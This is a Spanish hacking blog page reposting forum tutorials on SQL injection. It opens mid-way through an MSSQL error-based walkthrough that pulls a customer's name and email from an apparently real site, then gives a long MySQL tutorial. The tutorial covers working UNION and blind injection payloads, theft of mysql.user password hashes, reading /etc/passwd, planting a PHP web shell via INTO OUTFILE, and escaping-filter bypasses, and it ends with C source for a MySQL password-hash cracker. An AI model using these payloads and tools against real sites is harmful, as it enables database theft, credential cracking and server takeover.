Bien, ya tenemos el 2º campo: “clientes”. Pero, ¿como seguimos extrayendo información? Añadiendo mediante una “,” el nuevo campo descubierto, así la inyección nos dará el siguiente campo, quedando algo así:

‘ GROUP BY Datos.Id,clientes having 1=1–

Y ahora nos devuelve la web:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.correo’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien, lo mismo de antes, pero con el tercer campo, “correo”. No hace falta deciros que toda esta info de los campos debe de ser guardada en nuestro notepad.

Ahora, tenemos que ir poniendo la misma inyección, únicamente con la adición de una nueva “,” y del campo qeu descubrimos hasta que nos salga algo tipo:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]El prefijo de columna ‘Datos’ no coincide con un nombre de tabla o con un alias usado en la consulta.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Esto es el indicativo de que ya no hay más campos, por lo tanto ya sabemos que: la tabla se llama “Datos”, tiene tres campos que son Id, clientes y correo. En nuestro caso, como ya les comenté al inicio del tutorial, vamos a trabajar con los campos clientes y correo.

Mostrando el contenido de los campos

Ya tenemos los campos que nos hacían falta y que contiene la informacion que andabamos buscando, pero ahora nos hace falta “ver” esa información. Ahora es cuando entra en juego el uso de sentencias ‘ UNION SELECT. Para poder usarlo, necesitaremos facilitar el mismo número de campos que tiene la tabla, para ello usaremos “1″.

Lo que haremos será primero encontrar un valor en el campo “clientes” y después encontrar su correo correspondient e. Para ello nos deberemos de basar en la ingeriniería social, yo por ejemplo voy a buscar el primer nombre que empiece por J. Entonces monto la inyección de esta forma:

‘ UNION SELECT MIN(Campo),1,1,1/* tantos “1″ como campos */ FROM Tabla WHERE campo > ‘j’–

Con esto nos devolverá el primer nombre que empiece por “j”. El error que nos devuelve el contenido es devido a que la variable está cofigurada como de tipo “varchar” y al ser una letra con lo que operamos, la función “min()” sufre un error de sintaxis. Mi inyeccion es esta:

‘ UNION SELECT MIN(clientes),1,1 FROM Datos WHERE cleintes > ‘j’–

Y me devuelve la web:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar “Juanito” a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

JOOJOOJOJO hay un cliente que se llama Juanito jejejeje. Veamos su correo:

‘ UNION SELECT MIN(correo),1,1 FROM Datos WHERE clientes = ‘Juanito’–

Y el resultado es…

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar ” he@ArgeniversoHAck.com“>Juanito_de_noc he@ArgeniversoHAck.com” a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Pues ya tenemos nuestros datos y el cliente “juanito” tiene un correo que es he@ArgeniversoHAck.com“>Juanito_de_noc he@ArgeniversoHAck.com. Ahora transporatar estos conocimientos a un login, con user y password.

Bueno espero k este tuto os alla serbido de algo.

Salu2

P.D.= tutotorial creado por Vengador De Las Sombras (Todo no, algo lo e puesto yo xD)

http://www.jorgeisaac.com/?p=243

fuentE:http://darknesshackteam.co.cc/foro/index.php?topic=479.0

repaso de tecnicas sql inyeccion

0 comentarios
Este paper es muy bueno , es un repaso de tecnicas sql inyeccion, es algo viejo pero sige vigente y sobre todo es uno de los mejores en espan'ol :D.
En conclusion es Otro paper para la coleccion :D

saludos


http://www.newbie.cl/nb/wp-content/uploads/2007/08/tecnicas-de-sql-injection-un-repaso.pdf

Gran tutorial sobre inyecciones sql en MySQL

2 comentarios
Bueno , hago otro echo :D de las mejores comunidades ahora le toca a elhacker.net , este post fue hecho por z1x2c3z1x2c3| para esta comunidad.

para ver las imagenes deben visitar la fuente original , adjunta en la parte final :D

saludos

-----------------------------------------------------------------------------------------------------

tip's,errores y demàs .. son bienvenidos.

+--------------------------------------------------------
| |
| SQL injection && Blind Sql Injection |
| |
| Escrito por q7w8e9 |
| |
+--------------------------------------------------------

¿Qué es sql injection?

"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la
base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las
partes del programa con código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro
código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código
"invasor" en la base de datos."

Fuente:
http://es.wikipedia.org/wiki/Inyección_SQL

¿Qué vamos a ver?

Hablare de sql injection/blind sql injection en base de datos MySQL versión 4.x y 5.x. Algunas
cosas explicadas aquí quizás no funcionen en otras base de datos ya que no todas las bases de datos
son iguales hay variedades de ellas... mysql, mssql (sql server), sqlite, oracle etc ..

Antes de empezar vamos a repasar algunas cosas básicas:

? enlaza la URL con los parámetros a pasar.
& delimita donde termina un parámetro y donde comienza el otro
= asigna el valor


Recuerdalos bien ;).


Empecemos ...

Nota: En los ejemplos usare siempre "localhost" y el nombre del script "print.php"


¿Cómo buscar y saber que una aplicación web se afronta a poseer vulnerabilidad de sql injection?

Hay varias formas de hacerlo .. entre ellas la mas común es usar una comilla simple ' (''%27'') al
final de la URL:

http://localhost/print.php?id=332'

La siguiente forma es usar un paréntesis ")" donde haría que la aplicación produzca un error o
también podríamos usar algún comentario que pueden ser ''/*'' , ''--'' o "#" (el tema de los comentarios puede ser que con un comentario funcione y con el otro no .. por ejemplo:

Con /*:




Con --:





al final de la url y así provocaría un error ... o usando palabras del mismo lenguaje como select
order by o algún carácter

Ejemplos:

http://localhost/print.php?id=12) --
http://localhost/print.php?id=12)) --
http://localhost/print.php?id=12 '--
http://localhost/print.php?id=12 ') --
http://localhost/print.php?id=12 ')) --

veamos:




Aunque hay otra forma usando operadores logicos de MySQL ..

Solo agregando al final de la url algo como:

http://localhost/print.php?id=1 and 1=1

Y luego:

http://localhost/print.php?id=1 and 1=2

No solo se puede usar AND existen otros operadores lógicos:

1 && 1 //Representa el AND
1 || 1 //Representa el OR
1 XOR 0 //Retorna null si alguno de ellos es null
! //Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0.

Veremos que al hacer la primera inyección la pagina la devolverá normalmente ... pero al inyectar la
segunda se ha modificado! (a veces vacía o falta algún contenido, se notara la diferencia).
Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL
syntax; check the manual that " o algo parecido o quizás nada pero... sabremos que es vulnerable a
sql injection.







Explorando la base de datos

Vamos a averiguar el numero de columnas ...

¿Cómo hacemos eso? ¡Fácil!, usamos el 'order by' e iremos incrementando o viceversa según los
resultados veamos.

http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error
http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error
...
http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 17/* <-------- error

Cuando hay un error nos mostrara algo así:

"Unknown column '17' in 'order clause"

Como podemos ver hay 16 columnas.








Pero hay veces que esto no es posible y tendremos que usar UNION (Sentencia UNION: Se usa
para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.)
http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algun contenido pero
sabremos que la union funciona,pero podremos usar el método:

union all select 1/*
union all select 1,2/*
union all select 1,2,3/*
..
y así sucesivamente hasta encontrar la cantidad de columnas.


Sabiendo la versión de mysql y otros datos útiles

Bueno ahora analicemos la inyección de más arriba ..

http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Como pueden ver es que no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar
cualquier numero.
También hay veces que al usar algún tipo de comentario como puede ser --,/* o # veremos que pueden
funcionar todos,2 y solo 1 de ellos en la inyección .. así que a probar! (como dije arriba)

Lo que hay que hacer ahora es reemplazar algún numero que se esté impreso en pantalla por algunas de
las inyecciones que podrían darnos algunos datos interesantes del servidor (estos números corresponde a
una columna de la tabla).

Ver la versión:

http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/
*

(se pude usar @@version o version())

Ejemplo:




(se pude usar @@version o version())

Tendrás algo como "4.1.20-log"

Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename.

Es importante saber que versión de MySQL estamos analizando ya que podría facilitarnos la inyección y
sacar algunos datos importantes veamos:

version() Devuelve la versión del servidor MySQL.
database() Devuelve el nombre de la base de datos actual.
current_user() Devuelve el nombre de usuario y el del host para el que está autentificada la
conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de
acceso. Puede ser diferente del valor de USER().
last_insert_id() Devuelve el último valor generado automáticamente que fue insertado en una
columna AUTO_INCREMENT.
connection_id() Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.
@@datadir directorio de la db.

Algunos seguro tendran este problema que es algo frecuente y es eso de:

¿Por qué me dice que es ilegal, implícita etc ..?

ok .. vamos a ver como evitarlo y se hace de la siguiente manera:

Bueno en este caso tendremos que usar la función convert().

http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using
latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

o con hex() y unhex():

http://localhost/print.php?id=-1+union+all+select
1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Bueno hasta aca ya recolectamos bastantes datos interesantes del servidor y ademas sabemos como ver si es vulnerable o no .. ahora seguimos.

Algunas veces nos podemos encontrar con filtros .. filtros que nos lian las inyecciones pero hay varias forma de pasarse filtros por ejemplo podríamos hacer algo como:

http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Lo mismo hablare sobre esto mas adelante.


Obteniendo tabla,nombre de columna y otros datos

Vamos a ver como hacer al tener una versión 5 de MySQL:

Para listar los privilegios podríamos hacer:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Como podemos ver hay algo nuevo y es concat (devuelve la cadena resultante de concatenar los argumentos).
Con esto nos ahorraríamos de hacer inyecciones .. sabemos que al usar concat,algunos de los datos que
pudiéramos sacar de la base por ejemplo no existiera nos largaría un error o cuando no hubiera contenido
nos largaría NULL.
Al hacer esto vemos que todo sale muy junto ..¿Cómo podemos evitar esto?

Podemos pasar algún carácter a hexadecimal o usando char() (pasar a valor ascii).

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Vemos que 0x3a es un valor en hex y representa ":"
Entonces obtendremos algo así:

''primerdato:segundodato'' y no ''primerdatosegundodato''

Y así con cualquier carácter como he dicho por ejemplo "=" en hexa (0x3D) Obtendríamos:

''primerdato=segundodato''

Y en ascii:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8,
9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Ejemplo:




y ..




Como podemos ver en la segunda imagen aparece unos : (dos puntos)

o con char():




como podemos ver lo separamos con ^ y claro! podremos usar cualquier caracter.

Nota: Para saber los valores ascii: http://www.ascii.cl/es/

o Sencillo script en perl para pasar una cadena de caracteres a HEX:

Código:
print "Enter string to encode:";
$str=;chomp $str;
$enc = encode($str); print "Hex Encoded value: 0x$enc\n";
sub encode{ #Sub to encode
@subvar=@_;
my $sqlstr =$subvar[0];
@ASCII = unpack("C*", $sqlstr);
foreach $line (@ASCII) {
$encoded = sprintf('%lx',$line);
$encoded_command .= $encoded;
}
return $encoded_command;
}

Tambien antes de hacer esto podriamos usar concat_ws() (concat_ws() utiliza el primer argumento para separar el resto de los argumentos:




o simplemente aprovechar los numeros que larga y poner en cada numero algo por ejemplo:




como ven puse que muestre la base de datos,la tabla y la columna .. aprovechando los numeros que habia largado.

en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.


Bueno seguimos ..
Ahí mostramos una forma de sacar una lista de privilegios pero hay otras formas:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri
v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P
rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,
0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe
cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m
ysql.user--

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,
11,12,13,14,15,16+FROM+information_schema.schema_privileges--
http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg
e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--

Para sacar una lista sobre las base de datos:

http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s
chema.schemata--

http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db--

Para sacar una lista de columnas:

http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+information_schema.columns--

Otra cosa que se puede hacer es leer algún archivo local como puede ser "/etc/passwd":

http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1
6--

El /etc/passwd esta en hex.

Ejemplo:




o obtener un user y pass de la db y poder acceder remotamente a ella:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+mysql.user--

Ejemplo:




como podemos ver tiro el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el
hash (pueden usar john the ripper etc ..) y scanear a ver si por esas casualidades tiene la posibilidad de que tenga el puerto de base de datos abierto.

Ejemplo:




y podernos conectar remotamente:




y luego buscando cosas interesantes:




Nota: se puede usar cualquier cliente mysql en este caso uso la c99.


Una forma para intentar buscar nombres de columnas:

Buscando algún nombre de tabla .. en este caso largo auth ..

http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from
information_schema.tables where table_schema = database()

Pasando valor a ascii y buscando ..

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char()

Pasar en ascii "%a%" quedando:

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char(37,97,37)

En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii.
Y ahí te larga palabras y luego obtener datos :)

Sacando demàs tablas,columnas etc .. de la base:

Bueno hay algunas veces que al hacer una inyeccion y hacer algo así:

-1 union all select table_name from information_shchema.tables

obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no ..

por ejemplo:




Como podemos ver tira todas las tablas .. en cambio en esta no:





así que para ver la siguiente tabla usaremos limit al final de la url ejemplo:

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1--

Ejemplo:




como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit ..

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1--
..
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1--

etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos
al menos que evitemos lo que no queremos ver :P ejemplo ..

en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas)

pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo así:

1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1--

como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas.

aparte de usar limit podriamos usar group_concat() lo que haria es largar nombres de tabla pero no todas ejemplo:




y para evitar el tema de que aparezca todo junto podriamos hacer algo así:




como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea
.


¿Para qué podría servir todo esto?

Desde leer archivos de configuraciones, archivos en si, etc .. solo es
cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como:

UNION SELECT "",2,3,4 INTO OUTFILE
"/var/www/html/mishell.php" --

por ejemplo: (Una vez echa la inyeccion)




y usando la shell:




Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en alguna parte
del servidor.

si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo:

apache:x:48:48:Apache:/var/www:/sbin/nologin

o usar alguna tecnica como Full Path Disclosure:

http://www.owasp.org/index.php/Full_Path_Disclosure

Para hacer esto y algunas inyecciones más,necesitamos saltarnos las magic_quotes que son las que no
nos dejan hacer nuestras inyecciones con eficiencia :P para eso existen algunas formas ..

Como el "double encoding" bastante interesante y leer

(http://www.owasp.org/index.php/Double_Encoding)

hex encoding

para saltar filtros como las magic_quotes leer sobre "SQL Smuggling".

También como he leído por ahí .. podríamos saltar algunos de los filtros que posee PHP veamos:
-------------------------------------------------------
(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x)
bypass a addslashes() con codificaciòn GBK
WHERE x = 0xbf27admin 0xbf27
-------------------------------------------------------
bypass mysql_real_escape_string() con BIG5 o GBK
se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion
pero es posible saltarse el mysql_real_escape() de esta forma.
aparte de ser caracteres chinos es BIG5 :P
-------------------------------------------------------
Vectores avanzados:

Usando HEX para bypassear una consulta:

Consulta normal:

SELECT * FROM login WHERE user = 'root'

Bypass:

SELECT * FROM login WHERE user = 0x726F6F74

Insertando nuevo usuario en SQL.


Consulta Normal:
insert into login set user = ‘root’, pass = ‘root’

Bypass:

insert into login set user = 0×726F6F74, pass = 0×726F6F74
--------------------------------------------------------
Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo
algo como:

SELECT HEX('root');
obtendremos algo como:
726F6F74
y luego le agregamos:
0x
quedaría: 0×726F6F74

Tambien hace poco me encontre un articulo interesante del amigo xianur0 :P:

http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html

seria bueno que lo lean.

Para ver si las magic_quotes estan activadas simplemente agreguen una ' (comilla siemple) si aparece algo así:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

es que no es posible por que aparece una barra invertida provocando un error en la base de datos ..

pero si aparece algo así:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades .. y inyecciones no tan complejas ademàs de poder actualizar datos,borrar etc ..

Ahora blind sql injection

Creo que es lo más difícil pero no imposible. Puede ser un poco cansado pero obtendremos
algunos frutos (?).

Sabiendo si es vulnerable a Bsql

Tenemos que saber esto:

http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero.
http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso.

Nota: Recordarlo siempre.

Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o
etc sabemos que es vulnerable a bsql.

Sabiendo la versión de mysql:

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=4 <--- si nos larga la pagina normal
(si es verdadero) sera versión 4.

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=5 <--- si nos larga la pagina normal
(si es verdadero) sera versión 5.

Podemos usar select pero si tenemos problemas podremos usar subselect.

http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1

Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor
como /etc/password y etc ... usando load_file() y outfile.

Buscando nombre de tabla y columna

Puede ser difícil y con ganas de cagarte en muchas cosas xD.

Adivinando la tabla:

Hacemos esto:

http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1

Nota: con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es
importante. RECODARLO

Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así
tendremos que seguir adivinando.

Ahora la columna:

http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit
0,1)=1

Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */

Extrayendo datos

Supongamos que ya tenemos nombre de la columna y la tabla:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>80

El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95

Da falso así que incrementamos.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95
http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>98

Nos da falso.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>99

Verdadero!

Por lo que el primer carácter en el nombre de usuario es char(99). Y convirtiéndolo a ascii sabemos
que char (99) es la letra c.

Entonces vamos a comprobar el segundo carácter:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Fíjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carácter, ahora vuelve el segundo
carácter, 1 carácter de longitud.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Nos da falso e incrementamos:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>107

Nos da falso y buscamos un numero menor.

http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>104

Falso, incrementamos ..

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>105

Verdadero!

Sabemos que el segundo carácter es char(105) y que es ''i'' vamos ''ci'' y seguimos incrementando,
cuando > 0 devuelve falso, sabemos que llegamos al final.


Hay herramientas que hacen que esto no sea muy pesado:

http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301

Les recomiendo leer el tutorial que hizo ka0x que contiene un script donde podemos aplicar los
conocimientos de aquí y el que he usado a lo largo del tutorial :).(http://www.milw0rm.com/papers/download/216)

MySQL cheat sheet:
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

MySQL cheat sheet: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ (Màs que interesante)

La intencion de este tutorial es simplemente informar y enseñar a otros usuarios lo que podemos
hacer con este tipo de vulnerabilidades, ninguno nos responsabilizamos del mal uso que pueda
hacerse de el, sin mas, espero que os sirva!!

TODA LA LECTURA ES OBLIGATORIA

Dudas? l0ve@hslteam.org

o publiquen su duda en este post.

Saludos!

---------------------------------

tools:

el soft que use para desencriptar el pass:

mysqlfast.c

Código:
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d <> MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e <> MAX_CHAR) continue;

pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

Post del mismo tema en el hacker.net


Tutorial de Inyección SQL. (SQL Injection)
http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html

SQL Injection para principiantes, ejemplos en aplicaciones reales
http://foro.elhacker.net/bugs_y_exploits/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html

FUENTE ORIGINAL:

http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t237420.0.html
Powered by Bad Robot
Helped by Blackubay